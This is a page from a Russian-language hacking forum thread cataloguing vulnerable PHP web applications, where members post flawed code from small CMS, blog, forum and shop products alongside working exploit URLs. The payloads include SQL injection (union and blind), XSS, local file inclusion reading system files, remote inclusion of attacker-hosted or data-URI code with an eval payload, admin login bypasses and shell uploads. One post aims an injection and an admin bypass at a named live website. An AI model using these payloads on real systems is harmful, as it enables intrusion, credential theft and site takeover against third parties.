Энциклопедия уязвимых скриптов

Discussion in 'Веб-уязвимости' started by DIAgen, 1 Jun 2006.

  1. m0Hze

    m0Hze Well-Known Member

    Joined:
    1 Nov 2008
    Messages:
    266
    Likes Received:
    655
    Reputations:
    208
    Product: pHpAS (Article System)
    Author: unnamed
    Version: 1.12

    SQL


    file: show.php
    PHP:
    ...
    f(isset($_GET['id'])) {  
          
    $sql "SELECT * FROM arts WHERE id=".$_GET['id'];     
          
    $resultaat mysql_query($sql); 
    ... 
    target: show.php?id=-1+union+select+1,2,version(),4/*

    file: show_comments.php
    PHP:
    if(isset($_GET['nr'])) {  
          
    $sql "SELECT * FROM comments WHERE nr=".$_GET['nr'];     
          
    $resultaat mysql_query($sql);    
    target: show_comments.php?nr=-1+union+select+1,2,3,4,version(),6/*

    file: comments_all.php
    PHP:
    $sql "SELECT * FROM comments WHERE id=".$HTTP_GET_VARS['id']."";
    /* Тут писатель совсем разленился,даже проверок нет  :( */
    target: comments_all.php?id=-1+union+select+1,version(),3,4,5,6/*


    XSS

    file: show.php
    PHP:
    ...
    if (
    mysql_num_rows($resultaat) >0) {
    ..
    else{
    echo 
    'geen resultaten gevonden voor id='.$_GET['id']; 
    ...
    target: show.php?id="><XSS>

    file: show_comments.php
    PHP:
    if (mysql_num_rows($resultaat) >0) {
    ...
    }
    else{
    echo 
    'geen resultaten gevonden voor id='.$_GET['id']; 
    target: show_comments.php?nr="><XSS>
     
    #201 m0Hze, 15 Nov 2009
    Last edited: 15 Nov 2009
  2. m0Hze

    m0Hze Well-Known Member

    Joined:
    1 Nov 2008
    Messages:
    266
    Likes Received:
    655
    Reputations:
    208
    Ты меня совсем не понял, непосредственно в движке,нет вообще обращени к $_GET,$_POST,$_HTTP_VARS.Все расчитано на register_globals = on, во всяком случае тот что у меня.
    2jokester, извини что не выкладываю вместе со столбцами.Я не устанавливаю движки на свой компьютер,смотрю непосредственно в блокноте.
    Завтра все поправлю.Это же из каталога скриптов ^_^
    /addдобавил полный код лфи sulog, забыл строчку с инклудом.
     
    1 person likes this.
  3. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    Minibill CMS 1.2.5

    SQL INJECTION:

    PHP:
    ...
    if (
    $_GET['order_id'])
        {
            
    $Q="SELECT * FROM orders WHERE order_id='$_GET[order_id]' AND user_id='$_SESSION[id]' LIMIT 1";
            
    $preOrder mysql_fetch_assoc(mysql_query($Q));
    ...
    Реализация:

    Code:
    http://localhost/13/pages/orderform.php?order_id=[COLOR=PaleGreen][SQL][/COLOR]
    Версия:

    Code:
    http://localhost/13/CHANGELOG
    Установочный SQL дамп:

    Так же можно найти установочный дамп БД с имнами таблиц и колонок (если его админ не потер или не выставил права):

    Code:
    http://localhost/13/sql/minibill.sql
    RFI:

    PHP:
    ...
    include(
    $config['include_dir']."dbConnect.php");
    ...
    Code:
    http://localhost/13/crontab/run_invoicing.php?config[include_dir]=http://google.com%00
     
    3 people like this.
  4. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Название: MigasCMS
    Версия: 1.0

    Залитие шелла.
    Нужны права администратора.
    Отсутствует проверка на формат файла.

    Раскрытие путей
     
    2 people like this.
  5. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    Copyright © 2005
    Программное обеспечение - BORNET.ru


    sql-inj
    http://www.evruka.ru/show_cat2.php?grid=-1%27+union+select+1,2,3,4,5,6,7,8,9,10,11+--%20-​

    в админку без пароля:
    admin' or true -- -
    example:
    http://www.evruka.ru/admin/​
     
    #205 AFoST, 15 Nov 2009
    Last edited: 15 Nov 2009
    5 people like this.
  6. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    PHPNS version 2.2.4 BLIND SQL INJECTION

    Уязвимый скрипт manage.php:

    PHP:
    ...
        while (
    $item_row mysql_fetch_array($item_list)) { //for each item in db
            //convert timestamp to readable/human date
            
    $item_row['timestamp'] = date($globalvars['time_format'],$item_row['timestamp']);
            
    $item_row['article_cat_name'] = gen_cat_name($item_row['article_cat']); //switch cat_id to readable name
            
    $row_bg = ($row_bg == $globalvars['altcolor'][2]) ? $globalvars['altcolor'][1] : $globalvars['altcolor'][2]; //current row bg
            
                //switch active column to yes, draft, or unapproved.
                
    if ($item_row['active'] == 1) { $item_row['active'] = '<span class="positive">Yes</span>'; } elseif ($item_row['active'] == 0) { $item_row['active'] = '<span class="negative">Draft</span>'; }
                if (
    $item_row['approved'] == 0) { $item_row['active'] = '<span class="negative">Unapproved</span>'; }
                
                
    $item_row['comments'] = mysql_num_rows(general_query('SELECT * FROM '.$databaseinfo['prefix'].'comments WHERE article_id="'.$item_row['id'].'"'));
                
                if (
    strlen($item_row['article_title']) > 30) {
                    
    $item_row['article_title'] = wordwrap($item_row['article_title'], 30"<br />");
                }

            
    //generate the actual html rows
            
    $table_rows $table_rows.'<tr bgcolor="'.$row_bg.'">
                <td>
                    <a href="article.php?id='
    .$item_row['id'].'&do=edit"><img src="images/icons/edit.png" class="row_icon" alt="edit icon" title="edit &quot;'.$item_row['article_title'].'&quot;" /></a>
                    <a href="article.php?id='
    .$item_row['id'].'&do=edit" title="edit &quot;'.$item_row['article_title'].'&quot;"><strong>'.$item_row['article_title'].'</strong></a>
                </td>
                <td><a href="manage.php?v='
    .$item_row['article_cat'].'">'.$item_row['article_cat_name'].'</a></td>
                <td>'
    .$item_row['timestamp'].'</td>
                <td><a href="manage.php?v='
    .$item_row['article_author'].'">'.$item_row['article_author'].'</a></td>
                <td align="center"><a href="article.php?do=comments&id='
    .$item_row['id'].'">'.$item_row['comments'].'</a></td>
                <td align="center">'
    .$item_row['active'].'</td>
                <td class="checkbox"><input type="checkbox" value="'
    .$item_row['id'].'" name="'.$item_row['id'].'"></td></tr>';
        } 
    //end of each item in db generation
    ...
    Реализация:

    Code:
    http://localhost/15/manage.php?v=1'/**/and/**/1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((version()),14)d)/*/as/**/t/**/JOIN/**/(SELECT/**/NAME_CONST((version()),14)e)b)a)/**/and/**/'1'='1--+
    Таблица с юзерами: phpns_users

    Для успешной реализации - magic_quotes_gpc = off
     
  7. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    [ Cerulean Portal System version 0.7 LFI ]

    Уязвимый код portal.php:

    PHP:
    ...
    include (
    $phpbb_root_path 'portal/config.' $phpEx);
    ...
    Реализация:

    Code:
    http://localhost/18/portal.php?phpEx=./../../file.php
    Требования: register_globals = ON

    Так же там есть RFI, но его я не выкладываю, так как его нашли ранше меня и уже опубликовали :(
     
    #207 Ins3t, 16 Nov 2009
    Last edited: 16 Nov 2009
    2 people like this.
  8. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    Inspirado (blog engine)
    Released 02/02/2009
    http://inspirado.sourceforge.net/

    LFI

    themes/k2/block.php
    themes/vistacolors/block.php
    PHP:
    <?php include "./blocks/".$blog_blockfile ?>
    http://localhost/inspirado_1/themes/k2/block.php?blog_blockfile=../../../../../../../../etc/passwd



    SQL

    admin/index.php
    PHP:
    include "./structure/theme.php";
    admin/structure/theme.php
    PHP:
    <?php include "./modules.php"?>
    admin/modules.php
    PHP:
        case "editlink":
        include 
    "./structure/editlink.php";
    admin/structure/editlink.php
    PHP:
    $linkInfo=getLinkInfo($_GET["id"])
    admin/lib/functions.php
    PHP:
    function getLinkInfo ($id) {
        
    $link dbQuery("SELECT * FROM ".DBPREFIX."headlinks WHERE id=".$id);
        
    $link mysql_fetch_array($link,MYSQL_ASSOC);
        
        return 
    $link;
    http://localhost/inspirado_1/admin/index.php?m=editlink&id=-1+union+select+1,2,version(),user(),5



    шелл льется из админки

    Administration Panel => Widgets => Create PHP block

    искать в
    http://localhost/inspirado_1/blocks/shell.php
     
    3 people like this.
  9. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    Lanius CMS version 0.5.2 RFI

    Требования: register_globals= ON
    allow_url_include = ON


    Уязвимый код index.php:


    PHP:
    ...
    require 
    'core.php';
    include 
    $d_root.'includes/header.php';
    ...
    Смотрим в core.php:

    PHP:
    ...
    if (!
    file_exists$d_root.$d_private.'config.php' )) {
        
    header"Location: install/index.php" );
        exit();
    }
    ...
    Эксплатация:


    Code:
    http://localhost/11/index.php?d_root=ftp://login:pass@host/script.php%00
     
    #209 Ins3t, 16 Nov 2009
    Last edited: 16 Nov 2009
    1 person likes this.
  10. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    ADN-FORUM version 0.1b Blind Sql INJECTION

    crear.php:

    PHP:
    ...
    $result mysql_query("SELECT anonimos FROM ".$prefijo."_foros where id='$fid'",$conexion);
        
    $row mysql_fetch_row($result);
        if(!isset(
    $fpusuario) && $row[0]==0){echo"<br><br><center>"._CREARMSG2."<br><br><br><br><a href=\"index.php?fid=$fid\"><img src=\"img/$lenguaje/aceptar.gif\" border=0 align=absmiddle></a></center>";}
    ...
    Реализация:

    Code:
    http://localhost/19/crear.php?fid=1'/**/and/**/1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((version()),14)d)/*/as/**/t/**/JOIN/**/(SELECT/**/NAME_CONST((version()),14)e)b)a)/**/and/**/'1'='1--+
    mq=off
     
    1 person likes this.
  11. Bb0y

    Bb0y Active Member

    Joined:
    30 Oct 2009
    Messages:
    116
    Likes Received:
    136
    Reputations:
    78
    BMForum 5.6
    Активная xss:

    /messenger.php?job=write
    в модуле личных сообщений.
    В поле "Содержание" пишем:
    и отправляем.
    Активная xss:

    /post.php?forumid=[number_forum]
    при создании нового Топика.
    В поле "Заголовок" пишем:
    и добавляем. Так же работает в поле "Описание".
    Активная xss:

    /profile.php
    в Профиле. В полях:
    -Номер MSN
    -Подпись
    -Домашняя страница
    -Информация о себе
    пишем
    . Будет видно при просмотре Тем с вашими сообщениями и у вас в профиле.
    Пассивная xss:

    http://localhost/plugins.php?p=tags&jinhua=&listby=&tagname=[tag]&forumid=[id]&page=%22%3E%3Cscript%3Ealert()%3C/script%3E
    Так же в наличии несколько sql - инъекций, но на форуме их уже выкладывали.
     
    #211 Bb0y, 17 Nov 2009
    Last edited: 18 Nov 2009
    1 person likes this.
  12. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    PHPMySpace Gold Edition 8.0

    PHPMySpace Gold Edition 8.0​

    From ROA with Love ;)

    Пассивная XSS
    /modules/ecal/display.php?day=1&month=11&year=<script>alert();</script>
    /modules/memberslist/index.php?letter=All&sortby=name&orderby=ASC&query='><script>alert();</script>

    Раскрытие путей
    /modules/xtremuserguestbook/sign.php?gbid[]=1
    /modules/ecal/display.php?day=1&month[]=11
     
    2 people like this.
  13. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    2z Project

    Активная XSS
    В комментариях к новости:
    Раскрытие путей
     
    3 people like this.
  14. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    FreeBlog 0.2
    http://sourceforge.net/projects/freeblog
    SQL

    afficher_commentaire.php
    PHP:
    if (isset($_GET['id']))
    {
    $id $_GET['id'];
    $query="SELECT * FROM commentaires WHERE id_article='$id' && approuve=1 order by id DESC";
    mq=off
    http://localhost/FreeBlog/afficher_commentaire.php?id=1'+union+select+1,2,version(),4,5,6,user(),8+--+
     
    3 people like this.
  15. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    wellyblog-version-0.8.1
    sourceforge.net/projects/wellyblog/
    Обход авторизации

    password.php
    PHP:
    $email $_POST['email'];
    $tempsql="select username, password from tbluser where email='".$email."'";

    $rspass=mysql_query($tempsql);
    $num_rows=mysql_num_rows($rspass);
    if(
    $num_rows>0){
    $decryptedpass=decrypt(mysql_result($rspass0"password"), mysql_result($rspass0"username"));
    mq=off
    $_POST['email'][email protected]' or 1=1 limit 0,1 --
     
    2 people like this.
  16. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    profitCode Shopping Cart
    Release Date:2009-04-11
    http://sourceforge.net/projects/profbiz-cart/
    http://profbiz-cart.sourceforge.net/

    LFI

    cart.php
    PHP:
    global $chckoutaction$payMethod$donecart$itemcount$thmbImgsize$ckprvd;
    include 
    "mainincs/cartfunctions.php";
    if(
    $ckprvd) {
    include (
    "checkouts/checkout_" $ckprvd ".php");
    в checkouts/ есть файл checkout_cod.php, достраиваем констукцию до него

    можно инклудить файлы .php
    http://localhost/store/cart.php?ckprvd=cod.php/../../leftmenu

    NULL-byte слешируется, поэтому для иклуда произвольного файла используем Альтернативу от Raz0r,
    в моем случае это 270 точек (Windows)
    HTML:
    http://localhost/store/cart.php?ckprvd=cod.php/../../../../../../../boot.ini..............................................................................................................................................................................................................................................................................
    
    RFI

    index.php
    PHP:
    else if($proMod) {
    include 
    "$proMod".php";
    http://localhost/store/index.php?proMod=data:,%3C?php%20eval($_REQUEST[cmd]);%20?%3E&cmd=phpinfo();

    Пароли администратора и к базе хранятся в adminshop/config/shopSettings.php
     
    1 person likes this.
  17. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    PIXE CMS VERSION 1.02

    Ну вот наконец то вырвался я из бана :)

    Уязвимость присутствует в скрипте index.php (и не только):

    Уязвимый код:

    PHP:
    ...
    include 
    "admin/lang/".$language.".php";    
    ...
    Эксплатация:

    Code:
    http://localhost/22/index.php?language=../../../../FILE%00
    
    Для эксплатации понадобится register_globals = ON
     
    1 person likes this.
  18. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    THOR CMS VERSION 1.3.1

    THOR CMS VERSION 1.3.1

    CMS - каким то кривым образом сделана на основе phpbb, а может и является ему дополнением (руки б оторвать тому кто его писал).

    Local File Include in news.php:

    register_globals = ON


    PHP:
    ...
    include(
    $phpbb_root_path 'common.'.$phpEx);
    ...
    PoC:

    Code:
    http://localhost/24/news.php?phpEx=./../FILE
    SQL injection in content.php:

    PHP:
    ...
    $dyn_id $HTTP_GET_VARS['dyn_id'];
    $sql "SELECT * FROM " CMS_DYN " WHERE id = ".$dyn_id."";
    ...
    PoC:

    Code:
    http://localhost/24/content.php?dyn_id=[COLOR=PaleGreen][SQL][/COLOR]
    CMS VERSION:

    Code:
    http://localhost/24/readme.txt
    Обычно этот файл НЕ удаляют!
     
    #218 Ins3t, 20 Nov 2009
    Last edited: 20 Nov 2009
    4 people like this.
  19. m0Hze

    m0Hze Well-Known Member

    Joined:
    1 Nov 2008
    Messages:
    266
    Likes Received:
    655
    Reputations:
    208
    Product: WEngine
    Version: 1.0
    Author: http://hot.ee

    SQL-inj

    file: /modules/news/index.php
    PHP:
    $read $_GET['read'];
        
    $newssql "select * from news where news_id = '$read'";
        
    $newsresult mysql_query($newssql);
        
    $newsrow mysql_fetch_array($newsresult);
    target: ?read=1'+union+select+1,2,3,version()/*

    file:
    user.php
    PHP:
    $login $_POST['login'];
        
    $password $_POST['password'];
        
    $email $_POST['email'];
        
    $entersql "SELECT * FROM users WHERE user_name = '$login'";
        
    $enterresult mysql_query($entersql);
    ...
    $entersql "SELECT user_password FROM users WHERE user_name =  '$login'";
    Передача идет методом POST.
    target: ?login=user'+union+select+1,2,3,4,5/*

    file: mail.php
    PHP:
    $send $_GET['sendid'];
        
    $mail $_GET['mail'];
        if(
    $mail == ""):
            print(
    "Вы не ввели email!");
            exit;
        endif;
        
    $newssql "select * from news where news_id = '$send'";
    target: ?send=1'+union+select+1,version(),database(),4/*
    Sql-inj не совсем обычная,вывод будет у вас на E-mail,так что его нужно вводить рабочий.

    file: print.php
    PHP:
    $print $_GET['print'];
        
    $newssql "select * from news where news_id = '$print'";
        
    $newsresult mysql_query($newssql);
        
    $newsrow mysql_fetch_array($newsresult);
        
    printf("<b>%s</b><hr>"$newsrow['news_name']);
    target: ?print=1'+union+select+1,version(),3,4/*

    Так-же уязвимы еще некоторые файлы,но выкладывать это не вижу смысла,так как все скули однотипные.Для некоторых уязвимостей,необходимо MQ = off дабы кавычки пролетали свободно.
     
    #219 m0Hze, 21 Nov 2009
    Last edited: 21 Nov 2009
    3 people like this.
  20. Twin $park

    Twin $park Member

    Joined:
    15 Nov 2009
    Messages:
    9
    Likes Received:
    25
    Reputations:
    9
    PyLucid CMS

    Passive XSS

    здесь же и раскрыте путей

    (с) Twin $park
     
    #220 Twin $park, 21 Nov 2009
    Last edited: 1 Jan 2010
    1 person likes this.